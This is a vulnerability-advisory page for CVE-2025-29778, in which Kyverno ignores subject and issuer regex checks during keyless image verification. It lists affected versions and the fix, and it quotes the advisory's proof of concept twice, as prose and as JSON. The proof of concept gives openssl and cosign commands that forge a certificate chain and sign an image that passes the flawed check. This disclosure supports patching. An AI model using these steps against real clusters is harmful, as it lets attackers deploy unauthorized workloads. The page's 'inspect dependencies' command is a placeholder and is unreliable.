CVE-2025-29778: Github.com/kyverno/kyverno Kyverno Ignores SubjectRegExp And IssuerRegExp Vulnerability

MODERATE
Advisory Identifier: GHSA-46mp-8w32-6g94
CVSS 5.8
CWE-285
Published
Advisory Summary

CVE-2025-29778 is a MODERATE (CVSS 5.8) kyverno ignores subjectregexp and issuerregexp vulnerability (CWE-285: Improper Authorization) affecting Github.com/kyverno/kyverno libraries in the Go ecosystem. The issue involves kyverno ignores subjectregexp and issuerregexp. Remediation is available by upgrading affected packages to version 1.14.0-alpha.1.

CVE-2025-29778 at a Glance

CVE Identifier CVE-2025-29778
GHSA Identifier GHSA-46mp-8w32-6g94
Severity MODERATE
CVSS v3.1 Base Score 5.8
CWE Classification CWE-285: Improper Authorization
Affected Product Github.com/kyverno/kyverno
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2025-29778

To remediate this vulnerability, upgrade all affected Github.com/kyverno/kyverno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/kyverno/kyverno fixed: 1.14.0-alpha.1
Upgrade github.com/kyverno/kyverno to 1.14.0-alpha.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/kyverno/kyverno

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-29778, inspect your project dependencies for Github.com/kyverno/kyverno:

inspect dependencies for github.com/kyverno/kyverno

Analyze the terminal output to locate any version of Github.com/kyverno/kyverno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.14.0-alpha.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-285: Improper Authorization, where the product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. In Github.com/kyverno/kyverno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate. ### Details Kyverno checks only subject and issuer fields when verifying an artifact's signature: https://github.com/Mohdcode/kyverno/blob/373f942ea9fa8b63140d0eb0e101b9a5f71033f3/pkg/cosign/cosign.go#L537. While there are subjectRegExp and issuerRegExp fields that can also be used for the defining expected subject and issue values. If the last ones are used then their values are not taken in count and there is no actually restriction for the certificate that was used for the image sign. ### PoC For the successful exploitation attacker needs: - Private key of any certificate in the certificate chain that trusted by cosign. It can be certificate that signed by company's self-signed Root CA if they are using their own PKI. - Access to container registry to push artifacts images - Availability to deploy malicious artifacts to the kubernetes cluster 1. Generate certificate that will be used for the image signing with the oidcissuer url. That can be done with the Fulcio or manually by using openssl ``` # Create self-signed RootCA openssl req -x509 -newkey rsa:4096 -keyout root-ca-key.pem -sha256 -noenc -days 9999 -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Root Certificate Authority" -out root-ca.pem # Create request for the intermediate certificate openssl req -noenc -newkey rsa:4096 -keyout intermediate-ca-key.pem -addext "subjectKeyIdentifier = hash" -addext "keyUsage = critical,keyCertSign" -addext "basicConstraints = critical,CA:TRUE,pathlen:2" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Intermediate Certificate Authority" -out intermediate-ca.csr # Issue intermediate cert with RootCA openssl x509 -req -days 9999 -sha256 -in intermediate-ca.csr -CA root-ca.pem -CAkey root-ca-key.pem -copy_extensions copy -out intermediate-ca.pem # OID_1_1 is the hexadecimal representation of the oidcissuer url OID_1_1=$(echo -n "https://me.net" | xxd -p -u) # Create request for the leaf certificate openssl req -noenc -newkey rsa:4096 -keyout my-key.pem -addext "subjectKeyIdentifier = hash" -addext "basicConstraints = critical,CA:FALSE" -addext "keyUsage = critical,digitalSignature" -addext "subjectAltName = email:me@me.net" -addext "1.3.6.1.4.1.57264.1.1 = DER:${OID_1_1}" -addext "1.3.6.1.4.1.57264.1.8 = ASN1:UTF8String:https://me.net" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=My Cosign Certificate" -out my-cert.csr # Issue leaf cert with Intermediate CA openssl x509 -req -in my-cert.csr -CA intermediate-ca.pem -CAkey intermediate-ca-key.pem -copy_extensions copy -days 9999 -sha256 -out my-cert.pem # Generate certificates chain cat intermediate-ca.pem root-ca.pem > cert-chain.pem ``` 2. Build and push container image 2. Import key and sign the image with the generated certificate ``` COSIGN_PASSWORD="" cosign import-key-pair --key my-key.pem --output-key-prefix=import-my-key COSIGN_PASSWORD="" cosign sign $IMAGE_WITH_HASH --tlog-upload=false --cert my-cert.pem --cert-chain cert-chain.pem --key import-my-key.key ``` 3. Add ClusterPolicy for the Kyverno with the wrong subject and issuer regexp. Adding (Fulcio) Root CA as secret and using it in policy is optional only if cosign cannot trust it: ``` apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: check-image-keyless spec: validationFailureAction: Enforce webhookTimeoutSeconds: 30 rules: - name: check-image-keyless match: any: - resources: kinds: - Pod context: - name: encodedCert apiCall: urlPath: "/api/v1/namespaces/kyverno/secrets/fulcio-ca" method: GET jmesPath: "data.\"fulcio-ca.pem\"" - name: root variable: jmesPath: "base64_decode(encodedCert)" verifyImages: - imageReferences: - "<IMAGE_REGEXP>" attestors: - entries: - keyless: subjectRegExp: https://ivalid issuerRegExp: https://ivalid roots: "{{root}}" rekor: url: <URL_TO_REKOR> pubkey: |- -----BEGIN PUBLIC KEY----- ... -----END PUBLIC KEY----- ctlog: pubkey: |- -----BEGIN PUBLIC KEY----- ... -----END PUBLIC KEY----- ``` 4. Deploy previously signed image ``` apiVersion: apps/v1 kind: Deployment metadata: labels: app: image-sign name: image-sign namespace: default spec: replicas: 2 selector: matchLabels: app: image-sign strategy: {} template: metadata: annotations: labels: app: image-sign spec: containers: - image: <YOUR_IMAGE> imagePullPolicy: Always name: image-signing ports: - containerPort: 5000 resources: requests: memory: 500Mi cpu: 0.1 limits: memory: 2Gi cpu: 0.2 restartPolicy: Always status: {} ``` 5. The deployment with pods will be create successfully due to not checking subjectRegExp and issuerRegExp fields validation ### Impact Deploying unauthorized kubernetes resources that can lead to full compromise of kubernetes cluster ### P.S. Problem was discovered by me when testing image sign verifying with keyless signing: https://kubernetes.slack.com/archives/CLGR9BJU9/p1740136401365279?thread_ts=1740136401.365279&cid=CLGR9BJU9. Then it was [verified](https://github.com/kyverno/policies/issues/1246) and [fixed](https://github.com/kyverno/kyverno/pull/12237) by [Mohcode](https://github.com/Mohdcode). But i think it should be registered as security problem such as it allows to bypass part of the verification mechanism and Kyverno users should be aware of it.

CVE-2025-29778 Affected Github.com/kyverno/kyverno Versions

1 component(s)
Fixed Versions:
1.14.0-alpha.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/kyverno/kyverno
Go
≥ 1.13.0
< 1.14.0-alpha.1
1.14.0-alpha.1

References

Frequently Asked Questions

What is CVE-2025-29778?
CVE-2025-29778 is a security vulnerability in Github.com/kyverno/kyverno involving Kyverno ignores subjectRegExp and IssuerRegExp under CWE-285: Improper Authorization.
Which Github.com/kyverno/kyverno versions are affected?
Affected versions include releases prior to 1.14.0-alpha.1 across affected packages: github.com/kyverno/kyverno.
What version fixes CVE-2025-29778?
Upgrading to 1.14.0-alpha.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/kyverno/kyverno affected?
Yes, github.com/kyverno/kyverno is affected in releases prior to 1.14.0-alpha.1. Upgrade your dependency to 1.14.0-alpha.1 or later.
What is the CVSS score of CVE-2025-29778?
CVE-2025-29778 has a CVSS v3.1 base score of 5.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N.
What CWE is associated with CVE-2025-29778?
CVE-2025-29778 is classified under CWE-285: Improper Authorization (The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Go dependencies for CVE-2025-29778?
Run the dependency tree command: 'inspect dependencies for github.com/kyverno/kyverno'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-46mp-8w32-6g94",
  "modified" : "2025-05-08T14:51:55Z",
  "published" : "2025-03-24T19:07:28Z",
  "aliases" : [ "CVE-2025-29778" ],
  "summary" : "Kyverno ignores subjectRegExp and IssuerRegExp",
  "details" : "### Summary\nKyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate.\n\n### Details\nKyverno checks only subject and issuer fields when verifying an artifact's signature: https://github.com/Mohdcode/kyverno/blob/373f942ea9fa8b63140d0eb0e101b9a5f71033f3/pkg/cosign/cosign.go#L537. While there are subjectRegExp and issuerRegExp fields that can also be used for the defining expected subject and issue values. If the last ones are used then their values are not taken in count and there is no actually restriction for the certificate that was used for the image sign.\n\n\n### PoC\n\nFor the successful exploitation attacker needs:\n- Private key of any certificate in the certificate chain that trusted by cosign. It can be certificate that signed by company's self-signed Root CA if they are using their own PKI.\n- Access to container registry to push artifacts images \n- Availability to deploy malicious artifacts to the kubernetes cluster\n\n1. Generate certificate that will be used for the image signing with the oidcissuer url. That can be done with the Fulcio or manually by using openssl\n\n```\n# Create self-signed RootCA\nopenssl req -x509 -newkey rsa:4096 -keyout root-ca-key.pem -sha256 -noenc -days 9999 -subj \"/C=AA/L=Location/O=IT/OU=Security/CN=Root Certificate Authority\" -out root-ca.pem\n\n\n# Create request for the intermediate certificate\nopenssl req -noenc -newkey rsa:4096 -keyout intermediate-ca-key.pem -addext \"subjectKeyIdentifier = hash\" -addext \"keyUsage = critical,keyCertSign\" -addext \"basicConstraints = critical,CA:TRUE,pathlen:2\" -subj \"/C=AA/L=Location/O=IT/OU=Security/CN=Intermediate Certificate Authority\" -out intermediate-ca.csr\n\n# Issue intermediate cert with RootCA\nopenssl x509 -req -days 9999 -sha256 -in intermediate-ca.csr -CA root-ca.pem -CAkey root-ca-key.pem -copy_extensions copy -out intermediate-ca.pem\n\n# OID_1_1 is the hexadecimal representation of the oidcissuer url\nOID_1_1=$(echo -n \"https://me.net\" | xxd -p -u)\n\n# Create request for the leaf certificate\nopenssl req -noenc -newkey rsa:4096 -keyout my-key.pem -addext \"subjectKeyIdentifier = hash\" -addext \"basicConstraints = critical,CA:FALSE\" -addext \"keyUsage = critical,digitalSignature\" -addext \"subjectAltName = email:me@me.net\" -addext \"1.3.6.1.4.1.57264.1.1 = DER:${OID_1_1}\" -addext \"1.3.6.1.4.1.57264.1.8 = ASN1:UTF8String:https://me.net\" -subj \"/C=AA/L=Location/O=IT/OU=Security/CN=My Cosign Certificate\" -out my-cert.csr\n\n# Issue leaf cert with Intermediate CA\nopenssl x509 -req -in my-cert.csr -CA intermediate-ca.pem -CAkey intermediate-ca-key.pem -copy_extensions copy -days 9999 -sha256 -out my-cert.pem\n\n# Generate certificates chain\ncat intermediate-ca.pem root-ca.pem > cert-chain.pem\n```\n\n2. Build and push container image\n2. Import key and sign the image with the generated certificate\n```\nCOSIGN_PASSWORD=\"\" cosign import-key-pair --key my-key.pem --output-key-prefix=import-my-key\nCOSIGN_PASSWORD=\"\" cosign sign $IMAGE_WITH_HASH --tlog-upload=false --cert my-cert.pem --cert-chain cert-chain.pem --key import-my-key.key\n```\n\n3. Add ClusterPolicy for the Kyverno with the wrong subject and issuer regexp. Adding (Fulcio) Root CA as secret and using it in policy is optional only if cosign cannot trust it:\n```\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: check-image-keyless\nspec:\n  validationFailureAction: Enforce\n  webhookTimeoutSeconds: 30\n  rules:\n    - name: check-image-keyless\n      match:\n        any:\n        - resources:\n            kinds:\n              - Pod\n      context:\n        - name: encodedCert\n          apiCall:\n            urlPath: \"/api/v1/namespaces/kyverno/secrets/fulcio-ca\"\n            method: GET\n            jmesPath: \"data.\\\"fulcio-ca.pem\\\"\"\n        - name: root\n          variable:\n            jmesPath: \"base64_decode(encodedCert)\"\n      verifyImages:\n      - imageReferences:\n        - \"<IMAGE_REGEXP>\"\n        attestors:\n        - entries:\n          - keyless:\n              subjectRegExp: https://ivalid\n              issuerRegExp: https://ivalid\n              roots: \"{{root}}\"\n              rekor:\n                url: <URL_TO_REKOR>\n                pubkey: |-\n                  -----BEGIN PUBLIC KEY-----\n                  ...\n                  -----END PUBLIC KEY-----\n              ctlog:\n                pubkey: |-\n                  -----BEGIN PUBLIC KEY-----\n                  ...\n                  -----END PUBLIC KEY-----\n```\n\n4. Deploy previously signed image\n```\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  labels:\n    app: image-sign\n  name: image-sign\n  namespace: default\nspec:\n  replicas: 2\n  selector:\n    matchLabels:\n      app: image-sign\n  strategy: {}\n  template:\n    metadata:\n      annotations:\n      labels:\n        app: image-sign\n    spec:\n      containers:\n        - image: <YOUR_IMAGE>\n          imagePullPolicy: Always\n          name: image-signing\n          ports:\n            - containerPort: 5000\n          resources:\n            requests:\n              memory: 500Mi\n              cpu: 0.1\n            limits:\n              memory: 2Gi\n              cpu: 0.2\n      restartPolicy: Always\nstatus: {}\n```\n\n5. The deployment with pods will be create successfully due to not checking subjectRegExp and issuerRegExp fields validation\n\n### Impact\nDeploying unauthorized kubernetes resources that can lead to full compromise of kubernetes cluster\n\n### P.S.\nProblem was discovered by me when testing image sign verifying with keyless signing: \nhttps://kubernetes.slack.com/archives/CLGR9BJU9/p1740136401365279?thread_ts=1740136401.365279&cid=CLGR9BJU9. Then it was [verified](https://github.com/kyverno/policies/issues/1246) and [fixed](https://github.com/kyverno/kyverno/pull/12237) by [Mohcode](https://github.com/Mohdcode). But i think it should be registered as security problem such as it allows to bypass part of the verification mechanism and Kyverno users should be aware of it.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kyverno/kyverno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.13.0"
      }, {
        "fixed" : "1.14.0-alpha.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 1.13.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/security/advisories/GHSA-46mp-8w32-6g94"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-29778"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/policies/issues/1246"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/pull/12237"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/commit/8777672fb17bdf252bd2e7d8de3441e240404a60"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Mohdcode/kyverno/blob/373f942ea9fa8b63140d0eb0e101b9a5f71033f3/pkg/cosign/cosign.go#L537"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kyverno/kyverno"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-285" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-03-24T19:07:28Z",
    "nvd_published_at" : "2025-03-24T17:15:20Z"
  }
}